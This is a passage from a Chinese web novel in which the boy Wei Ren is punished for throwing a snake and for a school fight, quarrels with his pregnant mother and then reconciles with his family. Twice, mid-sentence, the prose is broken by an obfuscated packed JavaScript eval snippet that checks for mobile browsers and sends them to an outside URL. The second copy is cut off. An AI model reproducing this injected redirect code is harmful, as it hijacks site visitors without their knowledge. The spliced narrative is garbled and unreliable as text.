韦仁这时也收回视线,稍微犹豫了一下,韦仁还是依言从站着的地方走到正堂中央,屈膝跪下。韦仁跪下后,沈决明也走到韦仁侧后方跪下。 韦玄成坐在上首,根本没看沈决明,只俯视着韦仁,问道:“知道我为何让你跪吗?” “不知道。” “你若真不知道就不会乖乖跪了。”韦玄成低喝,“还不说实话?!” 韦玄成的口气太过笃定,韦仁不免犹疑,他今天做过的唯一可能惹恼韦玄成的事只有扔蛇咬人的事情,可回想与杨启的对答,韦仁没觉得自己哪里有破绽。 仅仅一个呼吸的功夫,韦仁的脑海里已经掠过数个念头,他那葡萄似的眼珠子也在眼眶里转了好几圈儿,最终,韦仁的视线与韦玄成对上,看到亲爹那似笑非笑的表情,韦仁突然就悟了,悟了之后就想口吐芬芳,原来韦玄成是在诈他! 过了最佳反驳时机,此时再嘴硬就是把韦玄成当傻子了,韦仁心里那叫一个来气。 韦玄成的脸却已经重新沉下去,问道:“咬了杨明的蛇是不是你放的?” 韦仁深吸一口气又慢慢呼出来,破罐子破摔地承认了:“是我放的。” 赵氏、韦元茹和韦世然都惊愕地看向韦仁,不同的是,赵氏眼里多了果然如此的了然和一丝后怕的担忧,韦元茹和韦世然眼里则多了某种说不清是害怕还是纳罕的叹服。 “是什么蛇?” “沈决明说是乌蛇,没有毒。” “蛇是哪里来的?” “在山上抓的。” “谁抓的?” “我让沈决明抓的。” 韦玄成这时才看了一眼沈决明,不辨喜怒地说:“果然是艺高人胆大。”重新看回韦仁后,韦玄成继续问韦仁,“你为何要放蛇咬杨明?” “他们骂我、对我扔盘子,还冲过来要打我,我为了自保就把蛇扔出去了。” 韦玄成目光深深地看着韦仁,像是在掂掇他是不是说了实话。 韦仁被韦玄成眼睛里的怀疑看得不爽:“我没说谎。”扔蛇的事都承认了,扔蛇的理由还有什么可隐瞒的? 韦玄成轻哼,向后仰了仰身子,倚在凭几上:“怎么?你还觉得你有理了?” “我没觉得自己做错了。”说到这里,韦仁突然就很后悔,刚刚怎么那么容易就被韦玄成的气势慑住乖乖听话跪了。真是当儿不易,对上老子天生劣势,还不如像上辈子似的爹妈不管来的自在。 看韦仁那不知悔的样子,韦玄成怒极反笑:“就算不是毒蛇,被咬到也不是闹着玩儿的,你遇到了不知道躲开,反而让沈决明去抓。你扔蛇时想没想过,若没扔好,那蛇会反过来咬你?”韦玄成盯着韦仁,“身体发肤,受之父母,不敢毁伤。五郎,你有没有想过,万一你被蛇咬了,我和你阿母该有多担心?” 韦玄成的话一字一字敲在韦仁的心上,他本已做好被喷满脸然后据理力争的准备,没想到听到这样一顿“教训”。 韦仁向来吃软不吃硬,被韦玄成一番话堵得一口气顶在胸口,又憋又胀,沉默良久,韦仁终是垂下头,闷闷地说:“我知道错了,不该做让你们担心的事。” 韦玄成盯着韦仁,直盯到韦仁怀疑自己是不是该给坐上的两人磕一个,韦玄成才说:“去小祠堂跪着,把《孝经》里的《开宗明义篇》读上百遍,读完再用晚食。” 刚刚还“身体发肤,受之父母,不敢毁伤”呢,现在却要体罚他,韦仁想翻白眼,到底心虚,“嗯”了一声,从地上爬起来就走出了正堂。 韦仁和沈决明一起跪到小祠堂后,韦仁没有第一时间读书,而是转头看向跪在外室的沈决明,谁想沈决明正看着内室墙面上韦家祖先的画像,那神情专注得仿若他才是韦家的子孙一般。 韦仁不得已,只得先开口唤回沈决明的注意力,见他看向自己后,才说:“有话与我说吗?” 沈决明本欲摇头,但想到在正堂时韦仁看他的那个眼神,沈决明终是抬手在自己的掌心里写道:我没和家主说蛇的事。 二人虽隔着一段距离,但沈决明划字划得很慢,韦仁看清他写的字,表情未变,问道:“我怀疑你,你生气吗?” 沈决明摇了摇头。 “你和毋忧、阿桂不一样,他们是君子院的人。”韦仁盯着沈决明的眼睛,“沈决明,你是我的人,明白吗?” 沈决明弯下腰,向韦仁叩首以示明白。 等沈决明重新直起上身,韦仁忽然勾起唇角:“你的脾气也说不上有多好,怎么就没生气呢?” 沈决明十分疑惑韦仁怎么好意思说他脾气不好,他六七岁的时候也会打架,但绝不是韦仁那种“打”法,而且他从没见过哪个儿子会那样顶撞父亲。 韦仁有些遗憾,埋怨道:“其实我是希望你能生气的,哪怕是失望也好呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108064|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我还以为咱们的感情已经不错了呢。” 沈决明被韦仁这180度的态度转变弄得愣怔,一时不知该如何反应,只得再次颔首。 韦仁本是顺着心意说出前言,结果话出了口,韦仁才反应过来,某个人曾对他说过一样的话。韦仁不禁有些恍惚,直到静默的祠堂内响起一声微弱却也清脆的烛火的噼啪声,韦仁才回过神。 按下那抹突如其来的惆怅,韦仁盯着沈决明,继续说:“沈决明,我知道建立信任很难,但我很期待那一天的到来。”希望你不会让我失望。 沈决明怔然,不过片刻,一丝不以为然和嘲讽自心底划过,地位不一样的两个人谈何信任? 韦仁不知沈决明所想,说完想说的,韦仁收束心绪,低下头开始看竹简,韦玄成对他还挺有信心,从没教过他《孝经》,就让他读百遍。 不过,《开宗明义篇》确实不长,里面也没有很生僻的字,韦仁读了几遍后已经可以闭着眼睛背诵。只是,按照正常语速,背一遍也需要将近一分钟,韦仁背久了,嘴里就干得厉害,肚子也凑热闹地“咕噜咕噜”个没完。 韦仁越背越难过,因为祠堂的青石板真的很硬啊——韦仁若是跪坐,则腿麻,若是挺直大腿,则膝盖疼。 韦仁来来回回变换了好几次姿势,想让自己舒服些,注意力却越来越集中在不舒服的地方。 后来,韦仁实在跪不住了,就想起身松快松快腿脚,结果膝盖还没完全离开地板,身后突然响起两声拍门声:“五郎君,书没读完,可不能起身,家主和夫人吩咐,五郎君需得跪着把书读完。” 韦仁悚然,这才察觉除了沈决明外,竟还有人看着他! 韦仁低垂着脑袋从腋下看过去,倒悬在视野里的人除了沈决明还有阿珀,韦仁的五官皱在一起,央道:“阿珀,我腿麻了。” 阿珀长相柔美,却是个铁面娘子:“家主和夫人吩咐,五郎君若不好好受罚,这次是要动用家法的。” 家法是什么?就是打板子!毛竹板子,往屁股上抽,抽不出血也能把屁股抽肿的那种。 看来韦玄成这次真是被气着了,都不肯再当慈父了,韦仁不敢顶风作案,想了想,把手撑在前面,改跪坐为跪趴,至于跪趴的姿势是不是不雅什么的,韦仁才不在乎:没跪过的人没有发言权! 其实,若不是青石板真的很凉,韦仁都能直接趴到地上去! 调整好姿势,韦仁头也不回地吩咐沈决明:“帮我数着。”说完,韦仁开启1.5倍背书模式。 专注背书后,韦仁就跟个复读机一样,完全视外物于无物,所以,当被阿珀呼唤时,韦仁根本没听到。 最后还是沈决明跪爬到韦仁身侧,伸手在韦仁的肩颈处用力捏了好几下,韦仁才反应过来。 因为说了太多的话,大脑因为缺氧有些晕眩,韦仁的眼神都是散的,只懵懵地问道:“够数了?” 沈决明点了点头。 韦仁愣了一会儿,才明确下一步要做什么——他,他直接趴到地上去了! 沈决明连忙托住韦仁的身子,忍着腿上的酸麻半跪起身体,沈决明让韦仁躺靠在他的腿上。 外面的天色已经完全黑透,韦仁的额头上覆着一层薄薄的汗水,面容在昏黄的烛火映照下显得格外苍白,原本粉嫩的唇瓣也似乎因为主人过于干渴而失了血色,这一切都让韦仁看起来憔悴极了。 沈决明见韦仁闭着眼睛,呼吸清浅,以为他晕了,忙给韦仁按人中。 阿珀这时已经走到近前,也被韦仁这副形容给吓到了。阿珀暗悔自己竟然没有注意到韦仁的异常,明明韦仁之前背书时,声音中虽有疲惫,却完全没有虚弱的感觉,不想竟会晕过去。 阿珀回头看向敞开的祠堂大门,一咬牙一跺脚,对沈决明说:“你先把五郎君背回君子院,我去请梅先生。”说完,阿珀提起裙摆,匆匆出了祠堂。 沈决明正欲放下韦仁——他得先站起来缓一缓腿上的麻意,结果沈决明的手指还没完全离开韦仁的人中,韦仁的手已经精准地拍在沈决明的手背上:“轻点儿。” 韦仁没用力,沈决明却着实被吓了一跳,忙松开了韦仁的人中,眼中尽是怀疑。 韦仁没睁眼,只是缓而深地吸了口气,似乎攒足了力气,韦仁才哑着嗓子懒懒地说:“三件事。第一,不用听阿珀的,没我阿翁允准,我不能出祠堂。第二,我没晕,只是累,不要吵我。第三,等我醒了,我要吃鸡肉汤饼,还有姊夫送我的樱桃。” 话音落下,祠堂内恢复安静,就在沈决明以为韦仁已经睡过去后,韦仁突然再次开口:“东厨若是没给你留晚食,就去找毋忧要。”吩咐完,韦仁稍稍挪了下身子,在沈决明的腿上找到更加舒服的姿势后就再无动静,这次是真的睡着了。 怀里的小身子软软热热的,沈决明的内心却是五味陈杂,各种想法最终只汇成一句话:真是个怪人呐! 20. 罚跪的理由二 韦仁之前踹杨明没踹动,已经对自己的力气有全新的评估,见韦世然和戚丰打作一团,韦仁没上去添乱,而是跑到韦世然吃饭的食案前,端起他那碗还没来得及喝的鸡蛋汤,趁着戚丰把韦世然按在地上无暇他顾时,一股脑全倒在了戚丰的后脑勺上! 韦仁的偷袭虽然没有造成实际伤害,但微热的汤水混着蛋花和菜叶顺着后脑勺滑到脖颈,再从脖颈流到后背和前胸时,戚丰彻底破防了。 “啊啊啊啊啊!”戚丰大叫一声,眨掉流进眼睛里的汤水,红着眼睛挥舞着王八拳开始拼命捶打韦世然,战斗力少说提升两成不止。 韦世然快被弟弟气死了,一边横着胳膊抵挡戚丰的攻击,一边对韦仁吼:“傻蛋!你泼到我啦!” 韦仁没料到事情会这样发展,扔了碗就去拽戚丰的手臂,但他对自己的力气真没估计错,戚丰稍微用力就挣脱了韦仁的桎梏不说,还反手把韦仁推了个趔趄。 韦仁没摔倒,因为秦宁双和卫询跑来助阵,正好扶住了他。 韦世然有朋友,戚丰也有呀,孙赏看秦宁双和卫询要插手,也从自己的坐席上站起来。不过秦卫孙三人没来得及动手,因为师娘已经赶到,师娘一挥汤勺,驱散围观的学生,然后伸手一捞,把戚丰从韦世然身上拉开,瞬间结束战斗。 戚先生瞪着三个散发着饭菜香气的学生,恨不能先把每人抽一顿再说。 戚先生从韦仁和戚丰的口中得到两个版本的解释,然后花了好一会儿功夫去伪存真,才算搞清楚三人打架的前因后果。 戚先生看着韦世然和戚丰脸上的伤,最终决定把三家的家长请来学馆。没错,就是三家——熊大宝虽然全程没有参与,但打架的原因与他也有很大关系,所以熊大宝也被请了家长。 韦家距离朝元馆最远,赵氏来得却不慢,几乎和另外两家的家长前后脚到达。 赵氏被韦元茹扶着,才踏入戚先生的书房,眼睛就锁在两个儿子身上——韦世然的额角上紫了一块儿,脖子上也有两道红痕,韦仁身上倒看不出有什么伤,但竹青色的衣服被菜汁染得斑斑驳驳,看起来比韦世然那身同样不再整洁的衣服还惨烈。 赵氏深吸一口气,压住心里的火气,向戚先生行礼后才走到韦世然和韦仁身边。 韦元茹把两个弟弟从头打量到脚,问道:“谁打的?” 韦世然和韦仁同时伸手指向戚丰:“他!” 韦元茹跟着看向戚丰,见对方左脸上有个巴掌印,衣服上也有明显的灰尘和污渍,心里才舒坦些。 对着瞪圆了眼睛看向他们这边的戚丰,韦元茹没有流露出任何情绪,很快将头转回来,右手食指指尖点点韦世然的头脸,继续问:“除了这两处,还有别的地方疼吗?” 韦世然翻着眼睛感受了一下才说:“没有了吧?” 韦仁跟着说:“他没打到我。” 赵氏沉默地听着姊弟三人说话,生气归生气,一直提着的心总算放下了。 戚先生见人到齐,才与众人讲了事情的前因后果:“熊大宝之前与众多同窗分享食物,最近只分给韦仁,戚丰认为韦仁不该独享,二人吵嘴,戚丰泼了韦仁一身饭菜,韦世然和戚丰就打起来了。” 戚先生客观描述完整个打架的过程后才补充了一些言语细节,三家大人听得一愣一愣的,没想到小屁孩打架的原因也能如此曲折,面对戚先生的训话,都只能老实听着。 戚先生先与熊大宝的母亲金氏说:“虽说打架的事与熊大宝没有直接的关系,但他的做法也有不妥之处。我的意思同之前一样,学馆里的伙食虽不如你们家里丰盛,但也能让学生吃饱,熊大宝以后最好还是不要再额外带餐食来学馆,不知夫人意下如何?” “是,听先生的。”金氏有些羞愧。 在熊大宝入学之初,戚先生就通过熊家的管事与金氏提过,熊大宝每日给同窗分加餐这事有些不妥。但熊大宝说给同窗带好吃的是为了和他们一起玩儿,儿子初来驾到,以这样的方式融入学馆的生活,金氏没觉得有哪里不妥,也就没理会戚先生的告诫,没想到会惹出今日的麻烦。 金氏看一眼戚丰,抬手拍了熊大宝的后脑勺一下,真是个傻的,送出去那许多好吃的,没看到回头礼不算,也没得到啥感激,最后甚至还被人追着骂。 熊大宝被拍得莫名其妙,不过他没想到金氏会亲自过来,心中积攒的郁气消散不少,熊大宝咧开嘴对金氏露出一个笑容,看得金氏好气又好笑。 戚丰是戚先生的侄子,戚先生与戚丰的母亲秦氏说起话来却更加委婉:“孩子间偶尔打一架也不算大事,但戚丰年岁长,他还是先动手的那一个,无论怎么说,他也站不住理。今天的事,回去要与他仔细分说,让他明白其间的道理,以后我也会更加严格要求他。” 戚先生虽没明着说具体是哪些“道理”,秦氏却已臊得脸红,若不是有这满屋子的外人在,她非得先给戚丰来一顿热乎的,难道家里就缺他一口吃的了? 戚先生看着戚丰:“今天起,你每日多练三十个大字。” 秦氏恨恨地:“我看着他,每日必须练满半个时辰的字,好好收一收他这性子。” 戚丰低着头也不知道在想什么,大人们只当他是在反省,便暂且放过了他。 戚先生转向韦仁和韦世然这边:“世然,你护着弟弟没错,只是不要只想着打架,你进学这么久了,不会讲理吗?你若在一开始就去劝架,今天也就不必劳动你们几人的长辈了。你每天多写二十个大字。韦仁,你多写十个。” 韦世然一脸苦相:“先生,要写多久呀?” “一个月。” 韦世然脸上的苦都快滴出汁了,忍不住瞪了自家弟弟一眼,韦仁却已经提出质疑:“先生,为什么我也要被罚?” “因为你也参与打架了。” 韦仁不承认:“我没有。我只是泼了戚丰一碗汤,那也是因为他先泼我的,先人都说‘来而不往,非礼也’。” 金氏和秦氏都看向韦仁。金氏觉得韦仁闻名不如见面,果然是个嘴巴不饶人的。另一边,秦氏见韦仁当着这许多人的面都敢与戚先生狡辩,暗想,这孩子着实无礼,怪不得能把自己的儿子激得动手打人。 戚先生险些被气笑,“来而不往,非礼也”是这么用的吗? 戚先生和韦仁相处过一段时间,知道这种时候与他争辩是否参与打架没什么用,只肃起脸孔问韦仁:“你与我种了许久的地,不知道粮食得来不易吗?那碗汤里的鸡蛋对你而言是普通吃食,却是多少人一辈子都吃不到的,就那样被你扬了,你还觉得自己没有错?看来十个字不能让你认识自己的错误,再多写五个。” 韦仁:…… 韦世然给了韦仁一个幸灾乐祸的眼神,韦元茹也没忍住,抬手在韦仁的头顶敲了一记暴栗。 赵氏安静地听了全程,暗自决定要治一治韦仁这张嘴——之前有杨启,今天有戚丰,以后又会有谁呢?童言虽是无忌,但赵氏担心韦仁太过缺乏敬畏之心,会给他自己招祸。 当日归家后,赵氏便要求韦仁去祠堂罚跪。 韦仁快速扫了韦世然一眼,有些不确定地看着赵氏:“只有我去?为什么?”若是因为打架罚他,韦世然肯定也跑不了,若不是,总不能真因为他浪费粮食才罚他的吧? 赵氏正用木条挑着药膏给韦世然的脖子上药,一个眼神都没给韦仁:“因为你,你大兄才被打。那个叫戚丰的孩子得有十二岁了吧,你打不过他,还挑衅他,不就是知道你大兄会为你出头吗?” 这话太过诛心,韦仁不自觉紧绷起脸孔。韦仁想说他没有,可他也明白,就是因为有韦世然和师娘在,他才不担心自己对上戚丰会吃亏。 “韦仁,你是不是觉得你特别聪明?”赵氏牵起唇角,语含讽刺,“你确实比我见过的孩子都聪明晓事,但你要认清一件事,许多人不与你计较,不是因为他们比你傻,只是不愿与你计较罢了。” 韦仁压下心中涌起的焦躁,缓声解释:“当时师娘也在,我知道就算真打起来,也出不了大事。我确实是故意把话说得难听,但不是为了挑衅戚丰,戚丰只是最先出头的那个,和他一样不高兴的人还有好几个,当时熊大宝已经跑了,我若不把话挑明,那些人会把错全算在我头上。” “你想得这样明白,就没想过把这事先说与戚先生?戚先生难道就没办法把这中间的道理讲给你的同窗?” “……”连续两次被赵氏堵得无言以对,韦仁理智上明白赵氏的话没有错,可赵氏从来没对他这样冷脸过,韦仁越来越无法遏制自心底上涌的怒气,呼吸声也随之渐重。 许久,久到正厅中只闻几人的呼吸声,韦仁起伏明显的胸口却渐渐平缓,紧蹙的眉头也舒展开来,韦仁稚嫩的脸上露出与赵氏类似的冷淡,语气不屑地说:“是戚丰先到我面前拍桌子的,他自己没理,我凭什么要忍他?” 韦世然惊愕地看向韦仁,只觉得这样的韦仁和平日的弟弟不像是一个人。 韦元茹也没料到韦仁会突然翻脸,低声喝斥韦仁:“五郎,你怎么能这样和阿母说话?快对阿母赔罪。” 韦仁没理韦元茹,也不答话,眼睛一眨不眨地注视着赵氏。 赵氏这时也终于转过头,惊诧一闪而过,赵氏眉目沉练地回望韦仁:“凭什么?凭你比他弱小,凭你惹事却要让你大兄给你收拾烂摊子。你有人护着,是不是就觉得,你大兄身上的伤一点儿不疼?” 嗓子一紧,韦仁看一眼似乎比他还紧张的韦世然,药膏是棕褐色的,抹在韦世然的额头上,让那处挫伤看起来更严重了。 垂下眼皮,韦仁直直跪倒,对着赵氏磕了个头,然后一声不响地站起身,走出正堂。 “五郎这是犯拧了。”韦元茹匆忙起身,对赵氏说,“阿母,你别担心,我去看看他。”韦元茹离开前,又给了韦世然一个眼神,让他劝劝赵氏。 两道背影一前一后离开视线,韦世然方觉正堂中的空气重新流动起来,韦世然咽了口唾沫,对赵氏说:“阿母,我不疼,最开始有点儿疼,不过很快就不疼了,你别生五郎的气。” 赵氏深吸了一口气,虽说她确实是想给韦仁一个教训,故意把话说得重了些,可韦仁这态度也着实气到她了。要不是身子不方便,她一直压着脾气,真想现在就给那个臭小子上一顿家法! 韦世然听到母亲的吸气声,小心脏跟着抖了抖,想起韦仁平时的狗腿样儿,韦世然改坐为跪,两只小手按在赵氏的手臂上用力揉捏,哄道:“阿母,我给你揉手臂,你别生气了。” 赵氏撩起眼皮看了大儿子一眼,见韦世然那双与韦仁几乎一模一样的眼睛里满是担心和殷勤,堵在胸口的那口气不知怎的忽地就散了。 算了,她和一个孩子较什么劲呢?赵氏摸摸肚子,真是的,她是故意要给韦仁一个教训,又不是真要与他生气,怎么就认真起来了?而且,韦仁这还是第一次展露出棱角,比起以往那些不走心的温暾,说不定也是件好事呢。 赵氏的脾气来得快,去得也快,心下稍松,赵氏的脸色也和缓过来,她没有直接回答韦世然的话,而是对着韦世然擦过药膏的地方吹了吹气,问:“真不疼了?” 韦世然被吹得痒痒的,缩着脖子往后躲:“真不疼了。” 赵氏却没停下吹气的动作,反而吹得更用力了,惹得韦世然连笑出声:“哎呦,别吹了,阿母,痒!” 赵氏不仅吹气,还伸出手开始挠韦世然的小胖腰:“嗯?是脖子痒还是这里痒?” “哈哈哈!都痒!”韦世然直接笑倒,后来实在扛不住,连续滚了两圈儿,差点儿掉到地上去才逃脱赵氏的“魔爪”。韦世然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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韦仁踏进祠堂内室后,只随意扫了一眼墙上挂着的祖先画像,便掀起袍摆,脊背笔直地跪了下去。 韦元茹却是对堂上的祖先们先行了礼,才一顺裙摆蹲到韦仁跟前,韦元茹手臂撑在膝头上,下巴抵在手臂处,歪着脑袋打量韦仁:“怎么突然发那么大脾气?” 韦仁垂着眸子不说话。 韦元茹难得有耐心,自顾自地说:“我是觉得你今天做的不算什么错事,遇到那等不讲理的家伙,就该给他些教训,也让别人知道,咱们不是好欺负的。”话锋一转,韦元茹继续说,“但你不该顶撞阿母,阿母那话虽是夸大了些,但也是事实。幸好那些饭菜都不烫,不然你可就要受大罪了。” 见韦仁的眼珠子都没动一下,韦元茹对着韦仁的睫毛吹了口气,看到韦仁眯了眯眼,僵硬的小脸总算放松了些,韦元茹才说:“别以为我是吓唬你,五郎,你是没见过人被烫伤的样子,那肉皮,啪唧啪唧往下掉,我就看过一次,一个月没吃下去肉。” 韦仁忍无可忍,终于掀起眼皮看向自家大姊:“我真想看看谁烫伤后肉皮会啪唧啪唧往下掉。” “你这就是典型的‘不知而不畏’。”韦元茹戳戳韦仁的脑门,“知道你和四郎在学馆里和人打架,阿母一路催石大叔赶车,一刻多钟就到你们学馆了。你想想你们平时上学要花多少时间?阿母可还怀着孕呢,你这样气她,你说你做的对不对?” 韦仁深吸一口气,才张开的嘴就跟蚌壳似地闭紧了,连眼皮也重新垂了下去。 韦元茹这次却不肯放过韦仁,加重力道又戳了戳他的脑门:“说话。干嘛突然顶撞阿母?你那套哄人的本事哪里去了?” 韦仁抓住韦元茹的手,本就心气不顺,被戳脑门,心底更烦躁,韦仁硬邦邦地说:“我给阿母磕头了,也来祠堂跪了,还要怎样?” “听听!听听你这语气!”韦元茹回过头,示意韦仁看墙上挂着的画像,“你问问咱家的老祖宗们,你这是认错的态度不?” 韦仁终是没压住始终盘旋在胸口的那口气,脱口而出:“是阿母先冤枉我的!” 韦仁突然高声,吓了韦元茹一跳,韦元茹反应过来后直接吼回去,声音比韦仁高了一个八度:“你长本事了!竟敢吼我?!韦五,你忘了是谁把你带大的?是谁一句一句教你说话的?那些吃食是谁指点厨娘给你做出来的?你那么多荷囊是谁……” 韦仁快被气死了:“你是来安慰我的,还是来教训我的?” 韦元茹正在戳韦仁脑门的另一只手顿住,在空中划出一个优雅的弧度,重新搭在膝盖上,韦元茹轻哼一声:“那你与我说说,阿母怎么冤枉你了?我都没听出来。” “阿母觉得我故意算计大兄。” 说完这话,韦仁的脸再次沉郁下去,他也不想惹赵氏生气,可被这样冤枉,韦仁心里太难受了。 韦元茹把赵氏在正堂里说的话在心里过了三遍,忍不住说:“阿母哪里有这个意思?阿母就是让你做事前多想想,她是怕你吃亏。” “你不懂。” “我是不懂,不过不是不懂阿母,是不懂你。”韦元茹仔仔细细地打量起韦仁,很是好奇,“我以前都没发现,你心思怎么这么重?”她自幼失恃,小时候也和父母闹过别扭,但也不比这个自小被宠爱呵护长大的幼弟敏感多思呐。 韦仁轻轻呼出一口气,没再和韦元茹争论,倒不是赌气,而是和韦元茹说了这一会儿话,他的理智逐渐回笼。韦仁已经有些后悔,无论怎么说,对一个怀着孕的母亲发脾气实在太没品了,但他明白现在最重要的不是道歉,而是闭嘴——人在心情不好的时候尽量少说话,说多错多。 韦元茹盯着弟弟沉静下来的小脸儿,心底忽地冒出一个念头,两只手轻轻一拍:“我懂了!” 韦仁下意识地接茬:“你懂什么了?” “恃宠生骄!五郎,你这么生气不会是因为阿母这次偏着四郎,没向着你吧?”韦元茹特别自信地做出结论,“你在嫉妒四郎!” 韦仁满头黑线,这是哪儿跟哪儿啊?! 21. 和好 尽管韦仁不承认,韦元茹却是自觉抓住了关窍,念头通达了,语调都轻快许多:“哎呀呀,原来是这样,仔细想想,这确实是第一次阿母为了四郎凶你呐。” 以往,兄弟二人一起犯错,只有韦世然一人吃挂落就罢了,哪怕祸是韦仁独自闯的,韦玄成和赵氏仍是只教训韦世然。别问理由,问就是韦世然身为长子有责任管束和教导弟弟,偏偏世人对长子的要求就是如此,简直让韦世然有理也没处说去。 听出韦元茹声音中的戏谑,韦仁尽管知道此刻应该闭嘴,仍然没忍住:“我没有!” 韦元茹一双杏眼中全是笑意:“好吧,你说没有就没有。” 韦仁很严肃:“我没在说笑。” 韦仁越严肃,韦元茹越想笑。 韦元茹勉强压下嘴角,又深吸一口气,才彻底将笑意压下去。稍稍仰起上身,韦元茹居高临下地看着韦仁,说道:“我也不与你说笑,不管怎么说,你刚刚对阿母的态度都很不像话。我还是那句话,阿母怀着孕呢,你不能惹她生气。” “我知道。” “父母宽和,是咱们的福气,人要惜福。”韦元茹揉揉韦仁的头顶,“你好好反省,哪怕想不明白,见到阿母后也先与阿母道歉。我去劝劝阿母,不会让你跪太久的。” 见韦元茹要走,韦仁提醒道:“大姊,你别和别人乱说。” 韦元茹愣了一下才反应过来,差点儿笑出声,韦元茹右手食指和中指前后晃了晃:“李郎之前送了我两箱贝壳,我打算做几个风铃,这次休沐时,你过来帮我洗贝壳。”说起来,韦元茹和李四郎感情好也不是没有原因的,两个人对手工活儿都很有兴趣,只是李四郎独爱木工,韦元茹却很是博爱,什么都愿意尝试。 韦仁这回真是连翻白眼的力气都没有了,有气无力地应承道:“好。” 韦仁果然没有跪太久,他跪了两刻多钟,阿珀就来通知他可以回去君子院用晚食了。不说韦元茹和韦世然都为他求情,就之前韦仁跪半个多时辰就“晕倒”的德行,赵氏也不敢让他久跪。 因为阿珀面上并无急色,韦仁知道赵氏纵是生气,身体应是没有大碍,仍询问了一句:“阿珀,阿母吃晚食了吗?” “已经用过了。”阿珀解释,“女公子和四郎君是各自用的,夫人有些疲乏,用了半碗粥就睡下了。” 知道了赵氏的情况,韦仁心里没有踏实下来,反而越发堵得慌。 阿珀却径直说下去:“夫人最近很容易饿,从一日三餐换成了五餐,今天算下来,拢共也只吃了不到一半的量。” 阿珀的语气与平时无异,韦仁却听出了责怪的意味,倒也没生气,只继续沉默着。 从祠堂回君子院会先经过正院,到达正院院门前,韦仁看一眼院内并不明亮的烛火,犹豫了一下没有进去打扰赵氏,但也没有直接离开,而是吩咐不知何时等在这里的沈决明:“你去找大乘,跟他去药房取些干百合、枸杞和红枣,不用多,每种六七颗就行,送去东厨,让厨娘做成粥,放在灶上温着。”可惜没有银耳,不然放些银耳会更好。 沈决明领命离开,韦仁对上阿珀疑惑的视线,随口解释:“我听师娘说的,怀孕的人适合吃这个。阿母什么时候醒了,你劝她吃些,不过也别吃太多。”抿抿唇,韦仁有些别扭地说道,“你与阿母说,我知道错了,不该顶撞她。也和弟弟妹妹说一声,他/她出生前,我保证不会再惹阿母生气了。” 阿珀对韦仁福了福身:“是。” 韦仁独自回到君子院时,韦世然正在和阿桂在沙坑里角抵,石岩和毋忧站在旁边围观。 韦世然第一时间发现韦仁,立马撇下阿桂,直直冲向韦仁。韦仁还以为他要说什么,结果韦世然说的是:“五郎,我替你在阿母面前说了许多好话!” 韦仁嘴角抽了抽:“谢谢大兄,下次你被罚,我也会替你说好话的。” 韦世然满意了。 石岩、阿桂和毋忧也忙围过来,三人并不知道事情的具体始末,此时的脸色却都有些古怪——韦世然倒是给他们解释了韦仁被罚跪的事,但也只有简单一句“五郎和阿母吵架,去祠堂罚跪了。” 韦世然终归年少,对世情了解不深,他说者无心,却是听得阿桂等人惊疑不定:天哪!只听说过小辈不听长辈的话,哪里听过小辈和长辈吵架的?吵架也就算了,竟然只是被罚跪,不止没被打,还有晚饭吃! 虽然心底再次认定韦仁果然备受赵氏偏爱,但韦仁毕竟刚被罚过,阿桂不想触韦仁的霉头,与石岩和毋忧一起向韦仁行礼后,就用眼神示意毋忧赶紧说些什么。 毋忧倒没觉得韦仁会迁怒,仍是用往常那般不紧不慢地语调说道:“东厨刚刚把晚食送来了,有野蕈蒸鸡、凉拌荠菜和笋丝骨肉汤,主食是野蕈肉丝大米粥。五郎君,你是先沐浴,还是先用晚食?” 从学馆回来后,韦仁也只是换了衣服,他总觉得自己身上还粘着午食的味道,结果他还没开口,韦世然先插了句嘴:“今天的野蕈特别好吃!特别嫩!”说完,还咽了口口水。 韦仁到嘴边的“去沐浴”只好改成:“先吃饭。”又问韦世然,“大兄,你要不要陪我一起再吃一点?” 韦世然果然从善如流地说:“好!” 饭后,韦仁还想着反正都顶了大半日的饭菜香气,索性先写完大字再去沐浴,就又被韦世然提醒了一件事:“五郎,你今天不播种了吗?” 韦仁慢半拍才想起那些被放在湢室发芽的稻种,瞄一眼韦世然脑门上的药膏,韦仁挑起大拇指:“大兄,你厉害!”今天发生那么多事,他还能惦记起这事,韦仁十分服气。 好在韦仁的心虽不如自家兄长那般宽,但他足够心细——他有提前做安排。 韦仁将沈决明叫过来,问道:“让你准备的盆子都准备好了吗?” 沈决明点头,就算韦世然不提,他也是要提醒韦仁的。 沈决明将韦仁引到湢室附近,距离湢室不远不近的一小片空地上码放了两排双层陶盆,里层陶盆里盛着土,外层陶盆里则是水。 韦仁抬头看看天空,又看看湢室和另一侧的院墙以及杂物房,确定这些盆子大部分时候都可以照射到阳光,韦仁还算满意。伸手拍了沈决明手臂一下,向湢室的方向扬扬下巴:“去把那些种子拿过来。” 说着,韦仁一边撸袖子,一边指挥站在不远处看热闹的毋忧:“把那个盛着土的竹筐抬过来,再给我拿把铲子。” 在韦仁回来前,韦世然已经看过这些盆子了,此时见韦仁没有别的吩咐,只等着其他人把他要的东西搬过来的样子,韦世然问道:“不需要再抬些水过来吗?可以让石岩帮忙。”韦世然点点几个水明显特别少的盆子,有几盆甚至一点儿水都没有呢。 “不用,就是故意放不一样多的水的,我不知道稻种到底需要多少水。” “不是说种稻米需要很多水吗?一点儿水都不放,它们能长出来吗?” “先看看再说。”韦仁亲眼见过被水完全淹没的秧田,也在媒体上看到过大棚里生长在土里的秧苗,其间的区别,他却是不甚明了。至于从老人们那里听来的“旱长根,水长苗”的谚语,只是让韦仁更加疑惑稻种变成秧苗这一步到底需要多少水。 